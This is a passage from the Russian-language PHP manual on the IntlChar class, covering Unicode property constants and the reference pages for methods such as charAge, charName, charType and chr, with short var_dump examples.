IntlChar::BLOCK_CODE_GRANTHA

IntlChar::BLOCK_CODE_KHOJKI

IntlChar::BLOCK_CODE_KHUDAWADI

IntlChar::BLOCK_CODE_LATIN_EXTENDED_E

IntlChar::BLOCK_CODE_LINEAR_A

IntlChar::BLOCK_CODE_MAHAJANI

IntlChar::BLOCK_CODE_MANICHAEAN

IntlChar::BLOCK_CODE_MENDE_KIKAKUI

IntlChar::BLOCK_CODE_MODI

IntlChar::BLOCK_CODE_MRO

IntlChar::BLOCK_CODE_MYANMAR_EXTENDED_B

IntlChar::BLOCK_CODE_NABATAEAN

IntlChar::BLOCK_CODE_OLD_NORTH_ARABIAN

IntlChar::BLOCK_CODE_OLD_PERMIC

IntlChar::BLOCK_CODE_ORNAMENTAL_DINGBATS

IntlChar::BLOCK_CODE_PAHAWH_HMONG

IntlChar::BLOCK_CODE_PALMYRENE

IntlChar::BLOCK_CODE_PAU_CIN_HAU

IntlChar::BLOCK_CODE_PSALTER_PAHLAVI

IntlChar::BLOCK_CODE_SHORTHAND_FORMAT_CONTROLS

IntlChar::BLOCK_CODE_SIDDHAM

IntlChar::BLOCK_CODE_SINHALA_ARCHAIC_NUMBERS

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_C

IntlChar::BLOCK_CODE_TIRHUTA

IntlChar::BLOCK_CODE_WARANG_CITI

IntlChar::BLOCK_CODE_COUNT

IntlChar::BLOCK_CODE_INVALID_CODE

IntlChar::BPT_NONE

IntlChar::BPT_OPEN

IntlChar::BPT_CLOSE

IntlChar::BPT_COUNT

IntlChar::EA_NEUTRAL

IntlChar::EA_AMBIGUOUS

IntlChar::EA_HALFWIDTH

IntlChar::EA_FULLWIDTH

IntlChar::EA_NARROW

IntlChar::EA_WIDE

IntlChar::EA_COUNT

IntlChar::UNICODE_CHAR_NAME

IntlChar::UNICODE_10_CHAR_NAME

IntlChar::EXTENDED_CHAR_NAME

IntlChar::CHAR_NAME_ALIAS

IntlChar::CHAR_NAME_CHOICE_COUNT

IntlChar::SHORT_PROPERTY_NAME

IntlChar::LONG_PROPERTY_NAME

IntlChar::PROPERTY_NAME_CHOICE_COUNT

IntlChar::DT_NONE

IntlChar::DT_CANONICAL

IntlChar::DT_COMPAT

IntlChar::DT_CIRCLE

IntlChar::DT_FINAL

IntlChar::DT_FONT

IntlChar::DT_FRACTION

IntlChar::DT_INITIAL

IntlChar::DT_ISOLATED

IntlChar::DT_MEDIAL

IntlChar::DT_NARROW

IntlChar::DT_NOBREAK

IntlChar::DT_SMALL

IntlChar::DT_SQUARE

IntlChar::DT_SUB

IntlChar::DT_SUPER

IntlChar::DT_VERTICAL

IntlChar::DT_WIDE

IntlChar::DT_COUNT

IntlChar::JT_NON_JOINING

IntlChar::JT_JOIN_CAUSING

IntlChar::JT_DUAL_JOINING

IntlChar::JT_LEFT_JOINING

IntlChar::JT_RIGHT_JOINING

IntlChar::JT_TRANSPARENT

IntlChar::JT_COUNT

IntlChar::JG_NO_JOINING_GROUP

IntlChar::JG_AIN

IntlChar::JG_ALAPH

IntlChar::JG_ALEF

IntlChar::JG_BEH

IntlChar::JG_BETH

IntlChar::JG_DAL

IntlChar::JG_DALATH_RISH

IntlChar::JG_E

IntlChar::JG_FEH

IntlChar::JG_FINAL_SEMKATH

IntlChar::JG_GAF

IntlChar::JG_GAMAL

IntlChar::JG_HAH

IntlChar::JG_TEH_MARBUTA_GOAL

IntlChar::JG_HAMZA_ON_HEH_GOAL

IntlChar::JG_HE

IntlChar::JG_HEH

IntlChar::JG_HEH_GOAL

IntlChar::JG_HETH

IntlChar::JG_KAF

IntlChar::JG_KAPH

IntlChar::JG_KNOTTED_HEH

IntlChar::JG_LAM

IntlChar::JG_LAMADH

IntlChar::JG_MEEM

IntlChar::JG_MIM

IntlChar::JG_NOON

IntlChar::JG_NUN

IntlChar::JG_PE

IntlChar::JG_QAF

IntlChar::JG_QAPH

IntlChar::JG_REH

IntlChar::JG_REVERSED_PE

IntlChar::JG_SAD

IntlChar::JG_SADHE

IntlChar::JG_SEEN

IntlChar::JG_SEMKATH

IntlChar::JG_SHIN

IntlChar::JG_SWASH_KAF

IntlChar::JG_SYRIAC_WAW

IntlChar::JG_TAH

IntlChar::JG_TAW

IntlChar::JG_TEH_MARBUTA

IntlChar::JG_TETH

IntlChar::JG_WAW

IntlChar::JG_YEH

IntlChar::JG_YEH_BARREE

IntlChar::JG_YEH_WITH_TAIL

IntlChar::JG_YUDH

IntlChar::JG_YUDH_HE

IntlChar::JG_ZAIN

IntlChar::JG_FE

IntlChar::JG_KHAPH

IntlChar::JG_ZHAIN

IntlChar::JG_BURUSHASKI_YEH_BARREE

IntlChar::JG_FARSI_YEH

IntlChar::JG_NYA

IntlChar::JG_ROHINGYA_YEH

IntlChar::JG_MANICHAEAN_ALEPH

IntlChar::JG_MANICHAEAN_AYIN

IntlChar::JG_MANICHAEAN_BETH

IntlChar::JG_MANICHAEAN_DALETH

IntlChar::JG_MANICHAEAN_DHAMEDH

IntlChar::JG_MANICHAEAN_FIVE

IntlChar::JG_MANICHAEAN_GIMEL

IntlChar::JG_MANICHAEAN_HETH

IntlChar::JG_MANICHAEAN_HUNDRED

IntlChar::JG_MANICHAEAN_KAPH

IntlChar::JG_MANICHAEAN_LAMEDH

IntlChar::JG_MANICHAEAN_MEM

IntlChar::JG_MANICHAEAN_NUN

IntlChar::JG_MANICHAEAN_ONE

IntlChar::JG_MANICHAEAN_PE

IntlChar::JG_MANICHAEAN_QOPH

IntlChar::JG_MANICHAEAN_RESH

IntlChar::JG_MANICHAEAN_SADHE

IntlChar::JG_MANICHAEAN_SAMEKH

IntlChar::JG_MANICHAEAN_TAW

IntlChar::JG_MANICHAEAN_TEN

IntlChar::JG_MANICHAEAN_TETH

IntlChar::JG_MANICHAEAN_THAMEDH

IntlChar::JG_MANICHAEAN_TWENTY

IntlChar::JG_MANICHAEAN_WAW

IntlChar::JG_MANICHAEAN_YODH

IntlChar::JG_MANICHAEAN_ZAYIN

IntlChar::JG_STRAIGHT_WAW

IntlChar::JG_COUNT

IntlChar::GCB_OTHER

IntlChar::GCB_CONTROL

IntlChar::GCB_CR

IntlChar::GCB_EXTEND

IntlChar::GCB_L

IntlChar::GCB_LF

IntlChar::GCB_LV

IntlChar::GCB_LVT

IntlChar::GCB_T

IntlChar::GCB_V

IntlChar::GCB_SPACING_MARK

IntlChar::GCB_PREPEND

IntlChar::GCB_REGIONAL_INDICATOR

IntlChar::GCB_COUNT

IntlChar::WB_OTHER

IntlChar::WB_ALETTER

IntlChar::WB_FORMAT

IntlChar::WB_KATAKANA

IntlChar::WB_MIDLETTER

IntlChar::WB_MIDNUM

IntlChar::WB_NUMERIC

IntlChar::WB_EXTENDNUMLET

IntlChar::WB_CR

IntlChar::WB_EXTEND

IntlChar::WB_LF

IntlChar::WB_MIDNUMLET

IntlChar::WB_NEWLINE

IntlChar::WB_REGIONAL_INDICATOR

IntlChar::WB_HEBREW_LETTER

IntlChar::WB_SINGLE_QUOTE

IntlChar::WB_DOUBLE_QUOTE

IntlChar::WB_COUNT

IntlChar::SB_OTHER

IntlChar::SB_ATERM

IntlChar::SB_CLOSE

IntlChar::SB_FORMAT

IntlChar::SB_LOWER

IntlChar::SB_NUMERIC

IntlChar::SB_OLETTER

IntlChar::SB_SEP

IntlChar::SB_SP

IntlChar::SB_STERM

IntlChar::SB_UPPER

IntlChar::SB_CR

IntlChar::SB_EXTEND

IntlChar::SB_LF

IntlChar::SB_SCONTINUE

IntlChar::SB_COUNT

IntlChar::LB_UNKNOWN

IntlChar::LB_AMBIGUOUS

IntlChar::LB_ALPHABETIC

IntlChar::LB_BREAK_BOTH

IntlChar::LB_BREAK_AFTER

IntlChar::LB_BREAK_BEFORE

IntlChar::LB_MANDATORY_BREAK

IntlChar::LB_CONTINGENT_BREAK

IntlChar::LB_CLOSE_PUNCTUATION

IntlChar::LB_COMBINING_MARK

IntlChar::LB_CARRIAGE_RETURN

IntlChar::LB_EXCLAMATION

IntlChar::LB_GLUE

IntlChar::LB_HYPHEN

IntlChar::LB_IDEOGRAPHIC

IntlChar::LB_INSEPARABLE

IntlChar::LB_INSEPERABLE

IntlChar::LB_INFIX_NUMERIC

IntlChar::LB_LINE_FEED

IntlChar::LB_NONSTARTER

IntlChar::LB_NUMERIC

IntlChar::LB_OPEN_PUNCTUATION

IntlChar::LB_POSTFIX_NUMERIC

IntlChar::LB_PREFIX_NUMERIC

IntlChar::LB_QUOTATION

IntlChar::LB_COMPLEX_CONTEXT

IntlChar::LB_SURROGATE

IntlChar::LB_SPACE

IntlChar::LB_BREAK_SYMBOLS

IntlChar::LB_ZWSPACE

IntlChar::LB_NEXT_LINE

IntlChar::LB_WORD_JOINER

IntlChar::LB_H2

IntlChar::LB_H3

IntlChar::LB_JL

IntlChar::LB_JT

IntlChar::LB_JV

IntlChar::LB_CLOSE_PARENTHESIS

IntlChar::LB_CONDITIONAL_JAPANESE_STARTER

IntlChar::LB_HEBREW_LETTER

IntlChar::LB_REGIONAL_INDICATOR

IntlChar::LB_COUNT

IntlChar::NT_NONE

IntlChar::NT_DECIMAL

IntlChar::NT_DIGIT

IntlChar::NT_NUMERIC

IntlChar::NT_COUNT

IntlChar::HST_NOT_APPLICABLE

IntlChar::HST_LEADING_JAMO

IntlChar::HST_VOWEL_JAMO

IntlChar::HST_TRAILING_JAMO

IntlChar::HST_LV_SYLLABLE

IntlChar::HST_LVT_SYLLABLE

IntlChar::HST_COUNT

IntlChar::FOLD_CASE_DEFAULT

IntlChar::FOLD_CASE_EXCLUDE_SPECIAL_I

Список изменений

Версия | Описание
7.0.6 | Добавлена константа IntlChar::NO_NUMERIC_VALUE.

Содержание

  • IntlChar::charAge — Получить "возраст" символьного кода
  • IntlChar::charDigitValue — Получить десятичную цифру из символа десятичной цифры
  • IntlChar::charDirection — Получить категорию направления письма для символа
  • IntlChar::charFromName — Найти символ Unicode по его имени и вернуть его код
  • IntlChar::charMirror — Получить "зеркальный" символ по коду
  • IntlChar::charName — Получить имя символа Unicode
  • IntlChar::charType — Получить главную категорию, в которую входит символ
  • IntlChar::chr — Получить символ Unicode по его коду
  • IntlChar::digit — Получить десятичное число из символа Unicode с заданным основанием
  • IntlChar::enumCharNames — Перечисляет все присвоенные символы Unicode в заданном диапазоне
  • IntlChar::enumCharTypes — Перечисление последовательностей символов Unicode сгруппированных по им категориям
  • IntlChar::foldCase — Производит преобразование регистра заданного символа
  • IntlChar::forDigit — Получить символ представляющий заданное число в заданном основании
  • IntlChar::getBidiPairedBracket — Получить парную скобку для символа
  • IntlChar::getBlockCode — Получить блок размещения символа Unicode
  • IntlChar::getCombiningClass — Получить комбинирующий класс для символа
  • IntlChar::getFC_NFKC_Closure — Получить свойство FC_NFKC_Closure для символа
  • IntlChar::getIntPropertyMaxValue — Получить минимальное значение для свойства Unicode
  • IntlChar::getIntPropertyMinValue — Получить минимальное значение для свойства Unicode
  • IntlChar::getIntPropertyValue — Получить значение свойства Unicode для символа
  • IntlChar::getNumericValue — Получить числовое представление для символа Unicode
  • IntlChar::getPropertyEnum — Получить значение константы свойства по его имени
  • IntlChar::getPropertyName — Получить Unicode имя свойства
  • IntlChar::getPropertyValueEnum — Вернуть числовой идентификатор свойства по его имени
  • IntlChar::getPropertyValueName — Получить имя Unicode для значения свойства
  • IntlChar::getUnicodeVersion — Получить версию Unicode
  • IntlChar::hasBinaryProperty — Проверить бинарное свойство Unicode для символа
  • IntlChar::isalnum — Проверить, является ли символ буквой либо цифрой
  • IntlChar::isalpha — Проверить, является ли символ буквой
  • IntlChar::isbase — Проверить, является ли символ базовым
  • IntlChar::isblank — Проверить, является ли символ "пустым" либо "горизонтальным пробелом"
  • IntlChar::iscntrl — Проверить, является ли символ управляющим
  • IntlChar::isdefined — Проверить, определён ли символ
  • IntlChar::isdigit — Проверить, является ли символ цифрой
  • IntlChar::isgraph — Проверить, является ли символ графическим символом
  • IntlChar::isIDIgnorable — Проверить, является ли символ игнорируемым
  • IntlChar::isIDPart — Проверить, допустимо ли использовать символ в идентификаторе
  • IntlChar::isIDStart — Проверить, допустимо ли использовать символ в начале идентификатора
  • IntlChar::isISOControl — Проверить, является ли символ управляющим согласно ISO
  • IntlChar::isJavaIDPart — Проверить, является ли символ допустимым в идентификаторе Java
  • IntlChar::isJavaIDStart — Проверить, может ли символ быть первым в идентификаторе Java
  • IntlChar::isJavaSpaceChar — Проверить, является ли символ пробельным с точки зрения языка Java
  • IntlChar::islower — Проверить, в нижнем ли регистре символ
  • IntlChar::isMirrored — Проверить, если у символа свойство Bidi_Mirrored
  • IntlChar::isprint — Проверяет, является ли символ отображаемым
  • IntlChar::ispunct — Проверяет, является ли символ символом пунктуации
  • IntlChar::isspace — Проверяет, является ли символ пробельным
  • IntlChar::istitle — Проверить, является ли символ титульным (Titlecase)
  • IntlChar::isUAlphabetic — Проверить, установлено ли у символа свойство Alphabetic
  • IntlChar::isULowercase — Проверить, является ли символ символом в нижнем регистре
  • IntlChar::isupper — Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
  • IntlChar::isUUppercase — Проверить, является ли символ символом в верхнем регистре
  • IntlChar::isUWhiteSpace — Проверить, имеет ли символ свойство White_Space (пробельный символ)
  • IntlChar::isWhitespace — Проверить, является ли символ пробельным с точки зрения ICU
  • IntlChar::isxdigit — Проверить, является ли символ шестнадцатеричной цифрой
  • IntlChar::ord — Получить код символ Unicode
  • IntlChar::tolower — Преобразование символа Unicode в нижний регистр
  • IntlChar::totitle — Преобразует символ Unicode в titlecase
  • IntlChar::toupper — Преобразование символа Unicode в верхний регистр

User Contributed Notes

Hayley Watson 02-Jul-2018 12:28
The authoritative source on what these character classes mean is Unicode Standard "Unicode Character Database", documented at https://www.unicode.org/reports/tr44/ (see chapter 5).
Anonymous 19-Mar-2018 12:25
For a description of the constants, have a look into uchar.h documentation of the ICU4C API: http://icu-project.org/apiref/icu4c/uchar_8h.html


Получить "возраст" символьного кода

  • « IntlChar
  • IntlChar::charDigitValue »
  • PHP Manual
  • IntlChar
  • Получить "возраст" символьного кода

IntlChar::charAge

(PHP 7, PHP 8)

IntlChar::charAge — Получить "возраст" символьного кода

Описание

public static IntlChar::charAge(int|string $codepoint): ?array

Возвращает "возраст" символьного кода.

"Возраст" - это версия Unicode в которой этот символьный код впервые был обозначен (как не-символ или для приватного использования) или принят как символ. Это может быть полезно в случаях, когда необходимо передать строку системе не поддерживающей новые символы.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Номер версии Unicode в виде массива. К примеру, версия 1.3.31.2 вернётся как [1, 3, 31, 2]. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charage("\u{2603}"));
var_dump(IntlChar::charage("\u{1F576}"));
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  int(1)
  [1]=>
  int(1)
  [2]=>
  int(0)
  [3]=>
  int(0)
}
array(4) {
  [0]=>
  int(7)
  [1]=>
  int(0)
  [2]=>
  int(0)
  [3]=>
  int(0)
}

Смотрите также

  • IntlChar::getUnicodeVersion() - Получить версию Unicode
  • IntlChar::getIntPropertyMinValue() - Получить минимальное значение для свойства Unicode
  • IntlChar::getIntPropertyValue() - Получить значение свойства Unicode для символа

User Contributed Notes

There are no user contributed notes for this page.


Получить десятичную цифру из символа десятичной цифры

  • « IntlChar::charAge
  • IntlChar::charDirection »
  • PHP Manual
  • IntlChar
  • Получить десятичную цифру из символа десятичной цифры

IntlChar::charDigitValue

(PHP 7, PHP 8)

IntlChar::charDigitValue — Получить десятичную цифру из символа десятичной цифры

Описание

public static IntlChar::charDigitValue(int|string $codepoint): ?int

Получает Получить десятичную цифру из символа десятичной цифры.

Такие символы в ходят в глобальную категорию "Nd" (десятичные цифры) и Numeric_Type в Decimal.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Цифра, соответствующая символу codepoint, или -1 если символ не является десятичной цифрой. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charDigitValue("1"));
var_dump(IntlChar::charDigitValue("\u{0662}"));
var_dump(IntlChar::charDigitValue("\u{0E53}"));
?>

Результат выполнения данного примера:

int(1)
int(2)
int(3)

Смотрите также

  • IntlChar::getNumericValue() - Получить числовое представление для символа Unicode

User Contributed Notes

There are no user contributed notes for this page.


Получить категорию направления письма для символа

  • « IntlChar::charDigitValue
  • IntlChar::charFromName »
  • PHP Manual
  • IntlChar
  • Получить категорию направления письма для символа

IntlChar::charDirection

(PHP 7, PHP 8)

IntlChar::charDirection — Получить категорию направления письма для символа

Описание

public static IntlChar::charDirection(int|string $codepoint): ?int

Возвращает категорию направления письма для символа, которая используется в » Двунаправленном алгоритме Unicode (UAX #9).

Замечание:

Некоторые неназначенные символьные коды имеют категории R или AL потому, что они находятся в блоках зарезервированных под написание слева направо.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Значение категории направления письма, одна из констант:

  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR
  • IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR
  • IntlChar::CHAR_DIRECTION_ARABIC_NUMBER
  • IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR
  • IntlChar::CHAR_DIRECTION_BLOCK_SEPARATOR
  • IntlChar::CHAR_DIRECTION_SEGMENT_SEPARATOR
  • IntlChar::CHAR_DIRECTION_WHITE_SPACE_NEUTRAL
  • IntlChar::CHAR_DIRECTION_OTHER_NEUTRAL
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE
  • IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT
  • IntlChar::CHAR_DIRECTION_DIR_NON_SPACING_MARK
  • IntlChar::CHAR_DIRECTION_BOUNDARY_NEUTRAL
  • IntlChar::CHAR_DIRECTION_FIRST_STRONG_ISOLATE
  • IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE
  • IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE
  • IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE
  • IntlChar::CHAR_DIRECTION_CHAR_DIRECTION_COUNT
В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charDirection("A") === IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT);
var_dump(IntlChar::charDirection("\u{05E9}") === IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT);
var_dump(IntlChar::charDirection("+") === IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR);
var_dump(IntlChar::charDirection(".") === IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Найти символ Unicode по его имени и вернуть его код

  • « IntlChar::charDirection
  • IntlChar::charMirror »
  • PHP Manual
  • IntlChar
  • Найти символ Unicode по его имени и вернуть его код

IntlChar::charFromName

(PHP 7, PHP 8)

IntlChar::charFromName — Найти символ Unicode по его имени и вернуть его код

Описание

public static IntlChar::charFromName(string $name, int $type = IntlChar::UNICODE_CHAR_NAME): ?int

Находит символ Unicode по его имени и возвращает его код.

Имя сравнивается точно и полностью. Если имя не соответствует какому-либо символу, то вернёт false.

Имя Unicode 1.0 считается совпавшим только если оно отличается от современного имени. Все имена Unicode должны выть в верхнем регистре. Расширенные имена в нижнем регистре и содержат шестнадцатеричное значение в фигурных скобках.

Список параметров

name

Полное имя символа Unicode.

type

Какие типы символов искать. Одна из констант:

  • IntlChar::UNICODE_CHAR_NAME (по умолчанию)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

Возвращаемые значения

Значение кода символа Unicode по заданному имени (в виде целого числа (int)), или null, если такого символа нет.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charFromName("LATIN CAPITAL LETTER A"));
var_dump(IntlChar::charFromName("SNOWMAN"));
var_dump(IntlChar::charFromName("RECYCLING SYMBOL FOR TYPE-1 PLASTICS"));
var_dump(IntlChar::charFromName("A RANDOM STRING WHICH DOESN'T CORRESPOND TO ANY UNICODE CHARACTER"));
?>

Результат выполнения данного примера:

int(65)
int(9731)
int(9843)
NULL

Смотрите также

  • IntlChar::charName() - Получить имя символа Unicode
  • IntlChar::enumCharNames() - Перечисляет все присвоенные символы Unicode в заданном диапазоне

User Contributed Notes

There are no user contributed notes for this page.


Получить "зеркальный" символ по коду

  • « IntlChar::charFromName
  • IntlChar::charName »
  • PHP Manual
  • IntlChar
  • Получить "зеркальный" символ по коду

IntlChar::charMirror

(PHP 7, PHP 8)

IntlChar::charMirror — Получить "зеркальный" символ по коду

Описание

public static IntlChar::charMirror(int|string $codepoint): int|string|null

Связывает указанный символ с его зеркальным отражением.

Для символов со свойством Bidi_Mirrored, иногда необходимо получить связь с другим символом Unicode который можно использовать как зеркальное отражение глифа заданного символа. Этакий способ преобразования текста в и из кодировок с визуального порядка "для бедных". Также полезно для дисплеев без возможности выбора глифа.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает другой код символа Unicode, который можно использовать как зеркальное отражение заданного, или codepoint, если подходящего символа не нашлось или если codepoint не имеет свойства Bidi_Mirrored.

Возвращаемый тип должен быть int, если только символ не был передан как строка UTF-8 (string), в этом случае вернётся строка (string). В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charMirror("A"));
var_dump(IntlChar::charMirror("<"));
var_dump(IntlChar::charMirror("("));
?>

Результат выполнения данного примера:

string(1) "A"
string(1) ">"
string(2) ")"

Смотрите также

  • IntlChar::isMirrored() - Проверить, если у символа свойство Bidi_Mirrored
  • IntlChar::PROPERTY_BIDI_MIRRORED

User Contributed Notes

There are no user contributed notes for this page.


Получить имя символа Unicode

  • « IntlChar::charMirror
  • IntlChar::charType »
  • PHP Manual
  • IntlChar
  • Получить имя символа Unicode

IntlChar::charName

(PHP 7, PHP 8)

IntlChar::charName — Получить имя символа Unicode

Описание

public static IntlChar::charName(int|string $codepoint, int $type = IntlChar::UNICODE_CHAR_NAME): ?string

Возвращает имя символа Unicode.

В зависимости от type, возвращённое имя может быть как "современным", так и именем определённым в Unicode версии 1.0. Имя содержит только "неизменяемые" символы, такие как A-Z, 0-9, пробел и '-'. Имя Unicode 1.0 возвращается только если оно отличается от "современного" для данного символа и если в ICU есть запись о нем.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

type

Какие типы символов искать. Одна из констант:

  • IntlChar::UNICODE_CHAR_NAME (default)
  • IntlChar::UNICODE_10_CHAR_NAME
  • IntlChar::EXTENDED_CHAR_NAME
  • IntlChar::CHAR_NAME_ALIAS
  • IntlChar::CHAR_NAME_CHOICE_COUNT

Возвращаемые значения

Соответствующее имя или пустую строку, если символ не имеет имени, либо null, если такого символа нет.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charName("."));
var_dump(IntlChar::charName(".", IntlChar::UNICODE_CHAR_NAME));
var_dump(IntlChar::charName("\u{2603}"));
var_dump(IntlChar::charName("\u{0000}"));
?>

Результат выполнения данного примера:

string(9) "FULL STOP"
string(9) "FULL STOP"
string(7) "SNOWMAN"
string(0) ""

Смотрите также

  • IntlChar::charFromName() - Найти символ Unicode по его имени и вернуть его код
  • IntlChar::enumCharNames() - Перечисляет все присвоенные символы Unicode в заданном диапазоне

User Contributed Notes

There are no user contributed notes for this page.


Получить главную категорию, в которую входит символ

  • « IntlChar::charName
  • IntlChar::chr »
  • PHP Manual
  • IntlChar
  • Получить главную категорию, в которую входит символ

IntlChar::charType

(PHP 7, PHP 8)

IntlChar::charType — Получить главную категорию, в которую входит символ

Описание

public static IntlChar::charType(int|string $codepoint): ?int

Возвращает главную категорию, в которую входит символ.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает главную категорию; одну из констант:

  • IntlChar::CHAR_CATEGORY_UNASSIGNED
  • IntlChar::CHAR_CATEGORY_GENERAL_OTHER_TYPES
  • IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER
  • IntlChar::CHAR_CATEGORY_LOWERCASE_LETTER
  • IntlChar::CHAR_CATEGORY_TITLECASE_LETTER
  • IntlChar::CHAR_CATEGORY_MODIFIER_LETTER
  • IntlChar::CHAR_CATEGORY_OTHER_LETTER
  • IntlChar::CHAR_CATEGORY_NON_SPACING_MARK
  • IntlChar::CHAR_CATEGORY_ENCLOSING_MARK
  • IntlChar::CHAR_CATEGORY_COMBINING_SPACING_MARK
  • IntlChar::CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER
  • IntlChar::CHAR_CATEGORY_LETTER_NUMBER
  • IntlChar::CHAR_CATEGORY_OTHER_NUMBER
  • IntlChar::CHAR_CATEGORY_SPACE_SEPARATOR
  • IntlChar::CHAR_CATEGORY_LINE_SEPARATOR
  • IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR
  • IntlChar::CHAR_CATEGORY_CONTROL_CHAR
  • IntlChar::CHAR_CATEGORY_FORMAT_CHAR
  • IntlChar::CHAR_CATEGORY_PRIVATE_USE_CHAR
  • IntlChar::CHAR_CATEGORY_SURROGATE
  • IntlChar::CHAR_CATEGORY_DASH_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_START_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_END_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_CONNECTOR_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_MATH_SYMBOL
  • IntlChar::CHAR_CATEGORY_CURRENCY_SYMBOL
  • IntlChar::CHAR_CATEGORY_MODIFIER_SYMBOL
  • IntlChar::CHAR_CATEGORY_OTHER_SYMBOL
  • IntlChar::CHAR_CATEGORY_INITIAL_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_FINAL_PUNCTUATION
  • IntlChar::CHAR_CATEGORY_CHAR_CATEGORY_COUNT

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::charType("A") === IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER);
var_dump(IntlChar::charType(".") === IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION);
var_dump(IntlChar::charType("\t") === IntlChar::CHAR_CATEGORY_CONTROL_CHAR);
var_dump(IntlChar::charType("\u{2603}") === IntlChar::CHAR_CATEGORY_OTHER_SYMBOL);
var_dump(IntlChar::charType("multiple chars") === null);
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Получить символ Unicode по его коду

  • « IntlChar::charType
  • IntlChar::digit »
  • PHP Manual
  • IntlChar
  • Получить символ Unicode по его коду

IntlChar::chr

(PHP 7, PHP 8)

IntlChar::chr — Получить символ Unicode по его коду

Описание

public static IntlChar::chr(int|string $codepoint): ?string

Возвращает строку, содержащую символ Unicode с заданным кодом.

Эта функция противоположна по действию функции IntlChar::ord().

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает строку, содержащую символ Unicode с заданным кодом или null в случае возникновения ошибки.

Примеры

Пример #1 Тестирование различных способов задания

<?php
$values = ["A", 63, 123, 9731];
foreach ($values as $value) {
var_dump(IntlChar::chr($value));
}
?>

Результат выполнения данного примера:

string(1) "A"
string(1) "?"
string(1) "{"
string(3) "?"

Смотрите также

  • IntlChar::ord() - Получить код символ Unicode
  • mb_chr() - Возвращает символ по значению кодовой точки Unicode
  • chr() - Генерирует односимвольную строку по заданному числу

User Contributed Notes

There are no user contributed notes for this page.


Получить десятичное число из символа Unicode с заданным основанием

  • « IntlChar::chr
  • IntlChar::enumCharNames »
  • PHP Manual
  • IntlChar
  • Получить десятичное число из символа Unicode с заданным основанием

IntlChar::digit

(PHP 7, PHP 8)

IntlChar::digit — Получить десятичное число из символа Unicode с заданным основанием

Описание

public static IntlChar::digit(int|string $codepoint, int $base = 10): int|false|null

Возвращает десятичное число из символа Unicode с заданным основанием.

